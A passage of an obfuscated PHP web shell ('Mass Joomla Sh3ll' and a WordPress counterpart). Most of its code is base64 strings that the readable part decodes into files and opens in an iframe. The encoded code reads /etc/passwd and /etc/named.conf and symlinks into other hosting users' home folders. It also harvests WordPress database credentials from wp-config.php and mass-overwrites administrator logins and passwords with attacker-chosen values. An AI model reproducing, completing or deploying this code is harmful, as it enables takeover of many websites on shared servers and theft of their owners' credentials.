Nzd2QudHh0Jykpew0KDQokZiA9IEBmb3BlbigncGFzc3dkLnR4dCcsJ3cnKTsNCg0KJHcgPSBAZndyaXRlKCRmLCRjb250KTsNCg0KZmNsb3NlKCRmKTsNCn0NCmlmKCR3IG9yIEBmaWxlc2l6ZSgncGFzc3dkLnR4dCcpID4gMCl7DQovLyAqIFNIT1cgKiAvLw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nMzUlJz48dGQ+VXNlcnM8L3RkPjx0ZD5zeW1saW5rPC90ZD48dGQ+RlRQPC90ZD4iOw0KZmx1c2goKTsNCg0KJGZpbDMgPSBmaWxlKCdwYXNzd2QudHh0Jyk7DQoNCmZvcmVhY2ggKCRmaWwzIGFzICRmKXsNCg0KICAgICAkdT1leHBsb2RlKCc6JywgJGYpOw0KICAgICAkdXNlciA9ICR1WycwJ107DQoNCg0KDQplY2hvICINCjx0cj4NCg0KDQoNCjx0ZCB3aWR0aD0nMTUlJz4NCiR1c2VyDQo8L3RkPg0KDQoNCg0KDQoNCg0KPHRkIHdpZHRoPScxMCUnPg0KPGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8kdXNlci9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPlN5bWxpbmsgPC9hPg0KPC90ZD4NCg0KPHRkIHdpZHRoPScxMCUnPg0KPGEgaHJlZj0nJHBhZ2VGVFAvc3ltL3Jvb3QvaG9tZS8kdXNlci9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPkZUUDwvYT4NCjwvdGQ+DQoNCg0KDQo8L3RyPjwvZGl2PiAiOw0KDQoNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQoNCn0NCg0KDQoNCg0KDQoNCmRpZSAoIjwvdHI+PC9kaXY+Iik7DQoNCg0KICAgICAgICAgICAgICAgICAgfQ0KDQoNCg0KDQoNCn0NCg0KDQoNCmVjaG8gInJlYWQgL2V0Yy9wYXNzd2QiOw0KZWNobyAiPGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz93ZWJyMDB0PXBhc3N3ZCZzYXZlPTEnPjx0ZXh0YXJlYSBjb2xzPSc4MCcgcm93cz0nMjAnIG5hbWU9J2ZpbGUnPiI7DQpmbHVzaCgpOw0KDQokZmlsZSA9ICcvZXRjL3Bhc3N3ZCc7DQoNCg0KJHIzYWQgPSBAZm9wZW4oJGZpbGUsICdyJyk7DQppZiAoJHIzYWQpew0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KZWNobyAiIi5odG1sZW50aXRpZXMoJGNvbnRlbnQpLiIiOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCiRyM2FkID0gQHNob3dfc291cmNlKCRmaWxlKSA7DQp9DQplbHNlaWYoISRyM2FkKQ0Kew0KJHIzYWQgPSBAaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoJHVpZD0wOyR1aWQ8MTAwMDskdWlkKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyYSA9IHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhcmEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICIkdmFsOiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiB9DQoNCg0KZmx1c2goKTsNCg0KDQplY2hvICI8L3RleHRhcmVhPjxiciAvPjxiciAvPjxpbnB1dCAgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJm5ic3A7Jm5ic3A7c3ltbGluayZuYnNwOyZuYnNwOycvPiA8L2Zvcm0+IjsNCmZsdXNoKCk7DQoNCmJyZWFrOw0KDQoNCg0KDQoNCmNhc2UgJ3dwJzoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyBpbmRleCAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjMw0KDQoNCg0KDQoNCg0KIyMjIyMjIyMgIGFkbWluICMjIyMjIyMjIyMzMw0KDQppZihpc3NldCgkX1BPU1RbJ3MnXSkpew0KDQokZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cygnd3AudHh0Jyk7DQoNCiRleCAgID0gZXhwbG9kZSgiXG4iLCRmaWxlKTsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBkb21pbiA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCg0KZm9yZWFjaCAoJGV4IGFzICRleHApew0KDQokZXMgICA9IGV4cGxvZGUoInx8IiwkZXhwKTsNCg0KJGNvbmZpZyA9ICRlc1swXTsNCg0KJGRvbWluID0gJGVzWzFdOw0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQokcmVhZGNvbmZpZyAgPSBAZmlsZV9nZXRfY29udGVudHModHJpbSgkY29uZmlnKSk7DQoNCmlmKGVyZWcoJ3dwLXNldHRpbmdzLnBocCcsJHJlYWRjb25maWcpKXsNCg0KDQoNCiRwYXNzICAgID0gIGV4KCRyZWFkY29uZmlnLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOw0KDQokdXNlcmRiICA9ICBleCgkcmVhZGNvbmZpZywiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOw0KDQokZGIgICAgICA9ICBleCgkcmVhZGNvbmZpZywiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KDQokZml4ICAgICA9ICBleCgkcmVhZGNvbmZpZywnJHRhYmxlX3ByZWZpeCAgPSBcJycsIic7Iik7DQoNCiR0YWIgICAgID0gJGZpeC4ndXNlcnMnOw0KDQokY29uICAgICA9IEBteXNxbF9jb25uZWN0KCdsb2NhbGhvc3QnLCR1c2VyZGIsJHBhc3MpOw0KDQokZGIgICAgICA9IEBteXNxbF9zZWxlY3RfZGIoJGRiLCRjb24pOw0KDQokcXVlcnkgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCBTRVQgYHVzZXJfbG9naW5gID0nc2VjLXcuY29tJyIpIG9yIGRpZTsNCg0KJHF1ZXJ5ICAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgU0VUIGB1c2VyX3Bhc3NgID0nJDEkNHovLjVpLi4kOWFIWUIuZlVIRW1OWi5lSUtZVHd4LyciKSBvciBkaWU7DQoNCg0KDQppZiAoJHF1ZXJ5KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlN1Y2NlZWQgPC9iPnVzZXIgW0JMQUNLLkphR3VBcl0gcGFzcyBbMV08L2I+Jzt9DQoNCmVsc2UNCg0Kew0KDQokciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+JzsNCg0KfQ0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQoNCg0KDQoNCn1lbHNlew0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD48YiBzdHlsZT0nY29sb3I6cmVkJz5mYWlsZWQyPC9iPjwvdGQ+PC90cj4iOw0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KfQ0KDQp9DQoNCg0KDQoNCg0KDQoNCg0KDQoNCmRpZSgpOw0KDQp9DQoNCmlmKCFpc19maWxlKCduYW1lZC50eHQnKSl7DQoNCiRkMDBtID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KDQp9ZWxzZXsNCg0KJGQwMG0gPSBAZmlsZSgibmFtZWQudHh0Iik7DQoNCg0KfQ0KaWYoISRkMDBtKQ0Kew0KDQogICAgICAgICAgICAgICAgZGllICgiPG1ldGEgaHR0cC1lcXVpdj0ncmVmcmVzaCcgY29udGVudD0nMDsgdXJsPT93ZWJyMDB0PXJlYWQnLz4iKTsNCn0NCmVsc2UNCg0Kew0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCjxmb3JtIG1ldGhvZD0nUE9TVCcgYWN0aW9uPSckcGc/d2VicjAwdD13cCc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nTWFzcyBDaGFuZ2UgQWRtaW4nIC8+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nMScgbmFtZT0ncycgLz4NCjwvZm9ybT4NCjxiciAvPjxiciAvPg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD4gRG9tYWlucyA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KJGYgPSBmb3Blbignd3AudHh0JywndycpOw0KDQpmb3JlYWNoKCRkMDBtIGFzICRkb20pew0KDQppZihlcmVnaSgiem9uZSIsJGRvbSkpew0KDQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KDQppZihzdHJsZW4odHJpbSgkZG9tc3dzWzFdWzBdKSkgPiAyKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbXN3c1sxXVswXSkpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokd3BsPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwIjsNCiR3cHA9Z2V0X2hlYWRlcnMoJHdwbCk7DQokd3A9JHdwcFswXTsNCg0KJHdwMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIjsNCiR3cHAyPWdldF9oZWFkZXJzKCR3cDIpOw0KJHdwMTI9JHdwcDJbMF07DQoNCiR3cDM9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZyI7DQokd3BwMz1nZXRfaGVhZGVycygkd3AzKTsNCiR3cDEzPSR3cHAzWzBdOw0KDQoNCiAvLy8vLy8vLy8vIHdwIC8vLy8vLy8vLy8vLw0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCnsNCiAkY29uZmlnPSAkd3BsOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AyOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTMsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AzOw0KfQ0KZWxzZQ0Kew0KY29udGludWU7DQoNCn0NCmZsdXNoKCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQoNCiR3ID0gZndyaXRlKCRmLCIkY29uZmlnfHwkZG9tIFxuIik7DQppZigkdyl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQoNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCg0KDQoNCg0KZmx1c2goKTsNCg0KDQp9DQp9DQp9DQp9DQoNCg0KYnJlYWs7DQoNCg0KDQoNCg0KDQoNCg0KfQ0KDQoNCi8vLyBob21lIC8vLw0KfWVsc2UNCnsNCg0KDQplY2hvICcnOw0KZWNobyAnJzsNCiB7DQoJDQoNCg0KfQ0KDQogICAgZWNobyAnDQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+IDxiPjwvYj4gIDxiPjwvYj4NCjxiciAvPjxiciAvPg0KDQo8YnIgLz48YnIgLz4NCjwvZGl2PiAnOw0KDQp9DQoNCg0KZnVuY3Rpb24gZXgoJHRleHQsJGEsJGIpew0KJGV4cGxvZGUgPSBleHBsb2RlKCRhLCR0ZXh0KTsNCiRleHBsb2RlID0gZXhwbG9kZSgkYiwkZXhwbG9kZVsxXSk7DQpyZXR1cm4gJGV4cGxvZGVbMF07DQp9DQoNCg0KDQplY2hvICc8L2Rpdj4NCg0KDQoNCg0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCic7DQoNCj8+';
$file = fopen("wp.php" ,"w+");
$write = fwrite ($file ,base64_decode($wp1));
fclose($file);
echo '<iframe src="wp.php" style="height:500px; width:1500px; border:0px;" name="Mass">';
yemenfooter();
}
function yemenjoom()
{
yemenhead();
$joom1 = 'PD9waHANCg0KDQoNCg0KDQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCg0KDQokcGFnZVVSTCA9ICdodHRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VVUkwgKTsNCiRwYWdlVVJMID1zdHJfcmVwbGFjZSgkdVtjb3VudCgkdSktMV0sIiIsJHBhZ2VVUkwgKTsNCg0KJHBhZ2VGVFAgPSAnZnRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nL3B1YmxpY19odG1sLycuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQokdSA9IGV4cGxvZGUoIi8iLCRwYWdlRlRQICk7DQokcGFnZUZUUCA9c3RyX3JlcGxhY2UoJHVbY291bnQoJHUpLTFdLCIiLCRwYWdlRlRQICk7DQoNCj8+DQogIDwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iDQogICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KDQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQoNCjxoZWFkPg0KPHRpdGxlPk1hc3MgSm9vbWxhPC90aXRsZT4NCg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KICBodG1sLGJvZHkgew0KICAgICBtYXJnaW46IDA7DQogICAgIHBhZGRpbmc6IDA7DQogICAgIG91dGxpbmU6IDA7DQp9DQphew0KDQogZm9udC1zaXplOiAxM3B4Ow0KDQp9DQoNCg0KYm9keSB7DQogICAgZGlyZWN0aW9uOiBsdHI7DQogICAgYmFja2dyb3VuZC1jb2xvcjojRjRGNEY0Ow0KCWNvbG9yOiByZ2IoMTUzLCAxNTMsIDE1Myk7DQogICAgdGV4dC1hbGlnbjogY2VudGVyDQp9DQoNCg0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjMDAwMDAwOw0KfQ0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3Q6aG92ZXJ7DQpib3gtc2hhZG93OiAwcHggMHB4IDRweCAjQUFBQUFBOw0KfQ0KDQoNCi5oZWRyIHsNCiAgZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiAgZm9udC1zaXplOiAyMnB4Ow0KDQoNCn0NCg0KLmNvbnQgYXsNCg0KIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiBjb2xvcjpyZ2IoMTUzLCAxNTMsIDE1Myk7DQogZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWYgIDsNCiBmb250LXNpemU6IDE2cHg7DQogdGV4dC1zaGFkb3c6IDBweCAwcHggM3B4IDsNCn0NCg0KLmNvbnQgYTpob3ZlcnsNCg0KDQogIGNvbG9yOiAjRUVFRUVFIDsNCiAgdGV4dC1zaGFkb3c6MHB4IDBweCAzcHggIzAwMDAwMCA7DQoNCg0KfQ0KDQoudG1wIHRyIHRkew0KDQpib3JkZXI6IHNvbGlkIDFweCAjQkJCQkJCOw0KDQpwYWRkaW5nOiAycHggOw0KICBmb250LXNpemU6IDEzcHg7DQp9DQoNCi50bXAgdHIgdGQgYSB7DQogIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCg0KDQoNCn0NCg0KLmZvdGVyew0KICBmb250LXNpemU6IDlwdDsNCiAgY29sb3I6ICNBQUFBQUEgOw0KICB0ZXh0LWFsaWduOiBjZW50ZXINCn0NCg0KLnRtcCB0ciB0ZDpob3ZlcnsNCg0KYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzg4ODg4ODsNCg0KfQ0KLmZvdHsNCg0KZm9udC1mYW1pbHk6VGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZjsNCg0KICBmb250LXNpemU6IDExcHQ7DQp9DQouZm9yIGEgOiBob3ZlcnsNCg0KdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4ICMzMzY2RkY7DQoNCn0NCg0KDQouaXIgew0KICBjb2xvcjogI0ZGMDAwMDsNCn0NCg0KDQoNCjwvc3R5bGU+DQoNCjwvaGVhZD4NCg0KPGJvZHkgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiPg0KDQoNCjxkaXYgY2xhc3M9J2FsbCc+DQoNCg0KPD9waHANCg0KDQoNCg0KDQplY2hvICc8ZGl2IGNsYXNzPSJjb250Ij4NCg0KDQogPGEgaHJlZj0iP2JsYWNrcjAwdD1qb29tIj4gTWFzcyBKb29tbGEgU2gzbGwgPC9hPg0KDQoNCg0KDQoNCjxiciAvPjxiciAvPjxiciAvPg0KDQoNCg0KDQoNCg0KPC9kaXY+JzsNCg0KaWYoaXNzZXQoJF9SRVFVRVNUWydibGFja3IwMHQnXSkpDQp7DQoNCnN3aXRjaCAoJF9SRVFVRVNUWydibGFja3IwMHQnXSkNCnsNCg0KDQoNCg0KDQoNCg0KDQovLy8gYnlwYXNzIHJlYWQNCg0KY2FzZSAncmVhZCc6DQoNCmVjaG8gInJlYWQgL2V0Yy9uYW1lZC5jb25mIjsNCmVjaG8gIjxiciAvPjxiciAvPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/d2VicjAwdD1yZWFkJnNhdmU9MSc+PHRleHRhcmVhIGNvbHM9JzgwJyByb3dzPScyMCcgbmFtZT0nZmlsZSc+IjsNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQoNCiRmaWxlID0gJy9ldGMvbmFtZWQuY29uZic7DQoNCg0KJHIzYWQgPSBAZm9wZW4oJGZpbGUsICdyJyk7DQppZiAoJHIzYWQpew0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KZWNobyAiIi5odG1sZW50aXRpZXMoJGNvbnRlbnQpLiIiOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHIzYWQgPSBAc2hvd19zb3VyY2UoJGZpbGUpIDsNCn0NCmVsc2UgaWYgKCEkcjNhZCkNCnsNCiRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCn0NCmVsc2UgaWYgKCEkcjNhZCkNCnsNCiRzbSA9IEBzeW1saW5rKCRmaWxlLCdzeW0udHh0Jyk7DQoNCg0KaWYgKCRzbSl7DQokcjNhZCA9IEBmb3Blbignc3ltL3N5bS50eHQnLCAncicpOw0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KZWNobyAiIi5odG1sZW50aXRpZXMoJGNvbnRlbnQpLiIiOw0KDQp9DQp9DQoNCg0KDQplY2hvICI8L3RleHRhcmVhPjxiciAvPjxiciAvPjxpbnB1dCAgdHlwZT0nc3VibWl0JyB2YWx1ZT0nU2F2ZScvPiA8L2Zvcm0+IjsNCg0KDQppZihpc3NldCgkX0dFVFsnc2F2ZSddKSl7DQoNCg0KJGNvbnQgPSBzdHJpcGNzbGFzaGVzKCRfUE9TVFsnZmlsZSddKTsNCg0KJGYgPSBmb3BlbignbmFtZWQudHh0JywndycpOw0KDQokdyA9IGZ3cml0ZSgkZiwkY29udCk7DQoNCiAgICAgICAgICAgICAgICAgIGlmKCR3KXsNCg0KICAgICAgICAgICAgICAgICAgZWNobyAnPGJyIC8+c2F2ZSBoYXMgYmVlbiBzdWNjZXNzZnVsbHknOw0KDQogICAgICAgICAgICAgICAgICB9DQoNCmZjbG9zZSgkZik7DQoNCg0KDQoNCn0NCg0KDQoNCmJyZWFrOw0KDQovLyBwYXNzd2QNCg0KY2FzZSAncGFzc3dkJzoNCg0KaWYoaXNzZXQoJF9HRVRbJ3NhdmUnXSkgYW5kIGlzc2V0KCRfUE9TVFsnZmlsZSddKSBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KDQoNCiRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQoNCmlmKCFmaWxlX2V4aXN0cygncGFzc3dkLnR4dCcpKXsNCg0KJGYgPSBAZm9wZW4oJ3Bhc3N3ZC50eHQnLCd3Jyk7DQoNCiR3ID0gQGZ3cml0ZSgkZiwkY29udCk7DQoNCmZjbG9zZSgkZik7DQp9DQppZigkdyBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KLy8gKiBTSE9XICogLy8NCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzM1JSc+PHRkPlVzZXJzPC90ZD48dGQ+c3ltbGluazwvdGQ+PHRkPkZUUDwvdGQ+IjsNCmZsdXNoKCk7DQoNCiRmaWwzID0gZmlsZSgncGFzc3dkLnR4dCcpOw0KDQpmb3JlYWNoICgkZmlsMyBhcyAkZil7DQoNCiAgICAgJHU9ZXhwbG9kZSgnOicsICRmKTsNCiAgICAgJHVzZXIgPSAkdVsnMCddOw0KDQoNCg0KZWNobyAiDQo8dHI+DQoNCg0KDQo8dGQgd2lkdGg9JzE1JSc+DQokdXNlcg0KPC90ZD4NCg0KDQoNCg0KDQoNCjx0ZCB3aWR0aD0nMTAlJz4NCjxhIGhyZWY9J3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rIDwvYT4NCjwvdGQ+DQoNCjx0ZCB3aWR0aD0nMTAlJz4NCjxhIGhyZWY9JyRwYWdlRlRQL3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5GVFA8L2E+DQo8L3RkPg0KDQoNCg0KPC90cj48L2Rpdj4gIjsNCg0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQp9DQoNCg0KDQoNCg0KDQpkaWUgKCI8L3RyPjwvZGl2PiIpOw0KDQoNCiAgICAgICAgICAgICAgICAgIH0NCg0KDQoNCg0KDQp9DQoNCg0KDQplY2hvICJyZWFkIC9ldGMvcGFzc3dkIjsNCmVjaG8gIjxiciAvPjxiciAvPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/d2VicjAwdD1wYXNzd2Qmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIwJyBuYW1lPSdmaWxlJz4iOw0KZmx1c2goKTsNCg0KJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOw0KDQoNCiRyM2FkID0gQGZvcGVuKCRmaWxlLCAncicpOw0KaWYgKCRyM2FkKXsNCiRjb250ZW50ID0gQGZyZWFkKCRyM2FkLCBAZmlsZXNpemUoJGZpbGUpKTsNCmVjaG8gIiIuaHRtbGVudGl0aWVzKCRjb250ZW50KS4iIjsNCn0NCmVsc2VpZighJHIzYWQpDQp7DQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCiRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCn0NCmVsc2VpZighJHIzYWQpDQp7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDEwMDA7JHVpZCsrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiJHZhbDoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogfQ0KDQoNCmZsdXNoKCk7DQoNCg0KZWNobyAiPC90ZXh0YXJlYT48YnIgLz48YnIgLz48aW5wdXQgIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZuYnNwOyZuYnNwO3N5bWxpbmsmbmJzcDsmbmJzcDsnLz4gPC9mb3JtPiI7DQpmbHVzaCgpOw0KDQpicmVhazsNCg0KDQoNCmNhc2UgJ2pvb20nOg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vIHh4eHh4eHh4eHh4eHh4eHh4eHggLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQoNCmlmKGlzc2V0KCRfUE9TVFsncyddKSl7DQoNCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdqb29tbGEudHh0Jyk7DQoNCiRleCAgID0gZXhwbG9kZSgiXG4iLCRmaWxlKTsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBkb21pbiA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KZmx1c2goKTsNCg0KDQpmb3JlYWNoICgkZXggYXMgJGV4cCl7DQoN